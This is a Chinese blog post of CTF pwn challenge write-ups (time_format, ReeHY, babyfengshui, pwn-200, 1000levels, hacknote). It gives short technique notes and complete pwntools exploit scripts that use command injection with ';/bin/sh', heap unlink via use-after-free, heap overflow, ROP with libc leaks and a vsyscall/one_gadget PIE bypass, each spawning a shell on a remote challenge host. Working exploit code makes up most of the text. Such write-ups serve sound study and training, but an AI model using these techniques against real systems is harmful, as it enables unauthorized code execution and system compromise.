懒得写思路,就写一些关键的思路和该注意的地方,最近做的题都没总结。今天就好好总结一下。
time format 没什么好说的,easy.但是我觉得好的思路就是学会用’;’来分割参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p=process('./time_format' ) elf=ELF('./time_format' ) def set_format (content) : p.sendlineafter('> ' ,'1' ) p.sendlineafter('Format: ' ,content) def set_value (content) : p.sendlineafter('> ' ,'3' ) p.sendlineafter('Time zone: ' ,content) def delete_format () : p.sendlineafter('> ' ,'5' ) p.sendlineafter('Are you sure you want to exit (y/N)? ' ,'n' ) set_format("%c" ) set_value("\'" +";/bin/sh #" +"\\" ) delete_format() gdb.attach(p) set_value("\'" +";/bin/sh #" +"\\" ) p.sendlineafter('> ' ,'4' ) p.interactive()
4-ReeHY-main-100 这一题是UAF制造的unlink.大体思路是这样的,首先开辟两个unsorted bin chunk.在free掉,这两个chunk合并,在开辟一个大于先前的unsorted bin chunk的chunk,这个时候写入一个fake chunk,然后触发unlink漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *p=remote('111.198.29.45' ,56708 ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./4-ReeHY-main' ) def debug () : gdb.attach(p,''' b *0x00400A45 0x*0400AAA *0x0400B01 ''' ) def create (index,size,content) : p.sendlineafter("$ " ,'1' ) p.sendlineafter("Input size\n" ,str(size)) p.sendlineafter("Input cun\n" ,str(index)) p.sendafter("Input content\n" ,content) def delete (index) : p.sendlineafter("$ " ,'2' ) p.sendlineafter("Chose one to dele\n" ,str(index)) def edit (index,content) : p.sendlineafter("$ " ,'3' ) p.sendlineafter("Chose one to edit\n" ,str(index)) p.sendafter("Input the content" ,content) p.sendlineafter('Input your name:' ,'whalien51' ) heap_addr=0x602100 create(0 ,0x200 ,"/bin/sh\x00" ) create(1 ,0x200 ,"1" ) create(2 ,0x200 ,'2' ) create(3 ,0x200 ,'3' ) delete(3 ) delete(2 ) payload = p64(0 ) + p64(512 +1 ) + p64(heap_addr - 0x18 ) + p64(heap_addr - 0x10 ) + 'A' *(512 -0x20 ) + p64(512 ) + p64(512 ) create(2 ,0x400 ,payload) delete(3 ) edit(2 ,'1' *0x18 + p64(elf.got['free' ]) + p64(1 ) + p64(elf.got['atoi' ])) edit(2 ,p64(elf.symbols['puts' ])) delete(3 ) atoi_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) base_addr = atoi_addr - libc.symbols['atoi' ] log.success("libc_base====>0x%x" %base_addr) system_addr = base_addr + libc.symbols['system' ] edit(2 ,p64(system_addr)) p.interactive()
AUL 这一题是来凑数的,easy。 连上直接os.execute(‘/bin/sh’)
babyfengshui 你能相信这一题给的二进制文件是错的么。害的我花大量的时间怀疑他加壳,然后我去脱壳,最后无果。然后我上搜索引擎找到了这个正确的二进制文件。 这一题没什么好说的,任意字节堆溢出。啥都有,easy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context.log_level='debug' p=remote('111.198.29.45' ,42708 ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) def create (size,length,text) : p.sendlineafter("Action:" ,'0' ) p.sendlineafter("size of description: " ,str(size)) p.sendlineafter("name: " ,'2222' ) p.sendlineafter("text length: " ,str(length)) p.sendlineafter("text: " ,text) def edit (index,size,content) : p.sendlineafter("Action:" ,'3' ) p.sendlineafter("index: " ,str(index)) p.sendlineafter('text length: ' ,str(size)) p.sendlineafter('text: ' ,content) def free (index) : p.sendlineafter("Action:" ,'1' ) p.sendlineafter("index: " ,str(index)) def show (index) : p.sendlineafter("Action:" ,'2' ) p.sendlineafter("index: " ,str(index)) create(0x80 ,0x10 ,'111' ) create(0x80 ,0x10 ,'222' ) free(0 ) create(0x10c ,0x19d ,'2' *0x198 +p32(0x804b00c )) show(1 ) p.recvuntil("description: " ) system_addr=u32(p.recv(4 ))-0x049020 +0x03a940 log.success("0x%x" %system_addr) edit(2 ,0x19d ,'/bin/sh\x00' +'a' *(0x198 -8 )+p32(0x804b010 )) edit(1 ,0x4 ,p32(system_addr)) free(2 ) p.interactive()
pwn-200 这一题是一道栈溢出,ROP构造,适合初学者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p=remote('111.198.29.45' ,43390 ) elf=ELF("./pwn-200" ) context.log_level = "debug" p.recvuntil("Welcome to XDCTF2015~!\n" ) payload='a' *0x6c +p32(0 )+p32(elf.symbols['write' ])+p32(0x8048484 )+p32(1 )+p32(elf.got['read' ])+p32(4 ) p.sendline(payload) system_addr=u32(p.recv(4 ))-0x0d4350 +0x03a940 log.success("read_addr====>0x%x" %system_addr) binsh=system_addr-0x03a940 +0x15902b payload='a' *0x6c +p32(0 )+p32(system_addr)+p32(0 )+p32(binsh) p.sendline(payload) p.interactive()
1000levels 这一题也是栈溢出,不过我个人角度这个栈溢出比上面哪一题有意思。 这一题开了pie,不能直接控制eip。 但是这一题在hint函数里面将system地址放到栈上了,但是go函数和hint共用一个栈。所以我们控制变量,保证system地址不被任意覆盖。 然后我们将system地址的低字节覆盖为one_gadget,然后再answer函数里面溢出,这个时候answer函数栈是在go函数栈的上面,我们直接溢出,然后我们使用vsyscall填充空余的部分直接到system地址。 为什么使用是vsyscall呢。因为vsyscall地址在空间中固定,里面存放着一些简单的无参函数,然后执行完就retn.对我们栈说,他就不停的把我们栈上数据当做eip执行完后就向下滑动,直到滑到system函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.log_level = 'debug' p = process('./100levels' ) elf = ELF('./libc.so' ) one_gadget = 0x4526a system_offset = elf.symbols['system' ] vsyscall_addr = 0xffffffffff600000 p.sendlineafter('Choice:\n' ,'2' ) p.sendlineafter('Choice:\n' ,'1' ) p.recvuntil() p.sendlineafter('How many levels?\n' ,'0' ) p.recvuntil('Any more?\n' ) p.sendline(str(one_gadget-system_offset)) for i in range(99 ): p.recvuntil("Question: " ) a = int(p.recvuntil(" " )[:-1 ]) p.recvuntil("* " ) b = int(p.recvuntil(" " )[:-1 ]) p.sendlineafter("Answer:" , str(a * b)) payload = 'A' * 0x30 payload += 'B' * 8 payload += p64(vsyscall_addr) * 3 gdb.attach(p) p.sendafter("Answer:" ,payload) p.interactive()
hacknote 你能相信这一题没给二进制文件吗。我真的是醉了,越往后面做就觉得主办方越来越不用心。这一题我在搜素引擎上找到了。他将一个用来打印的函数放在堆上,这个放打印函数的chunk为fastbin,而且这一题存在UAF漏洞。我们只需要巧妙的控制fastbin的分配,我们就能得到这个存放chunk。这个时候我们保持这个地址不变,泄露出got表,确定服务器的libc和libc_base。然后释放后重新分配,然后把打印函数地址改为system地址。但是这里要注意的事参数要用’;’分割,因为传进去的参数是我们存放system地址的地址。所以用’;bin/sh’,其中’;’用来分割。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level='debug' p=remote('111.198.29.45' , 40750 ) libc=ELF('./libc6-i386_2.23-0ubuntu10_amd64.so' ) def create (size,content) : p.sendlineafter("Your choice :" ,'1' ) p.sendlineafter("Note size :" ,str(size)) p.sendafter("Content :" ,content) def show (index) : p.sendlineafter("Your choice :" ,'3' ) p.sendlineafter("Index :" ,str(index)) def free (index) : p.sendlineafter("Your choice :" ,'2' ) p.sendlineafter("Index :" ,str(index)) create(0x78 ,'a' ) create(0xc ,'a' ) free(0 ) free(1 ) create(0x20 ,p32(0 )+p32(0 )) payload=p32(0x0804862b )+p32(0x804A010 ) create(0xc ,payload) show(0 ) printf_addr=u32(p.recv(4 ))-libc.symbols['printf' ] success('main_addr====>0x%x' %printf_addr) system_addr=printf_addr+libc.symbols['system' ] free(3 ) create(0xc ,p32(system_addr)+';bin/sh\x00' ) show(0 ) p.interactive()